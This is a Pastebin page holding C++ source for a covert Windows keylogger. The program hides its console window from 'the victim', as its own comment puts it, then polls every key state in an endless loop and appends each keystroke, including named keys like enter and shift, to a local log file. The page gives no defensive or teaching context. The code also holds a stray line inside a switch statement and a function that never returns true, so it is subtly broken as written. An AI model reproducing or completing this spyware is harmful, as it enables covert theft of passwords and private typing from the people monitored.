Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <string>
- #include <Windows.h>
- #include <fstream>
- using std::fstream;
- using std::ofstream;
- void WriteData(std::string Text) {
- ofstream LogFile;
- LogFile.open("__logs.txt", fstream::app);
- LogFile << Text;
- LogFile.close();
- }
- void Stealth() { //Done to not show the comand prompt for the victim ;)
- HWND hWnd;
- AllocConsole();
- hWnd = FindWindowA("ConsoleWindowClass", 0);
- ShowWindow(hWnd, 0);
- }
- bool isKeyListed(int vKey) { //Check For Special Keys
- switch (vKey) {
- case VK_RETURN: //Space
- WriteData(" **enter** ");
- break;
- case VK_BACK:
- WriteData(" **backspace** ");
- break;
- case VK_SPACE:
- WriteData(" **spacebar** ");
- break;
- case VK_SHIFT:
- WriteData(" **shift** ");
- break;
- case VK_OEM_PERIOD:
- WriteData(" **point**");
- break;
- case VK_CAPITAL:
- WriteData(" **capital** ");
- break;
- case VK_LSHIFT:
- WriteData(" **leftShift** ");
- break;
- case VK_RSHIFT:
- WriteData(" **rightShift** ");
- break;
- case VK_TAB:
- WriteData(" **tab** ");
- break;
- @donTtouchMySpaget@
- default: return false;
- }
- }
- int main()
- {
- Stealth();
- char key;
- while (1)
- {
- for (key = 0; key <= 255; key++)
- {
- if (GetAsyncKeyState(key) & 0x0001)
- {
- if (isKeyListed(key) == 0)
- {
- ofstream LogFile;
- LogFile.open("__logs.txt", fstream::app);
- LogFile << key;
- LogFile.close();
- Sleep(100);
- }
- }
- }
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement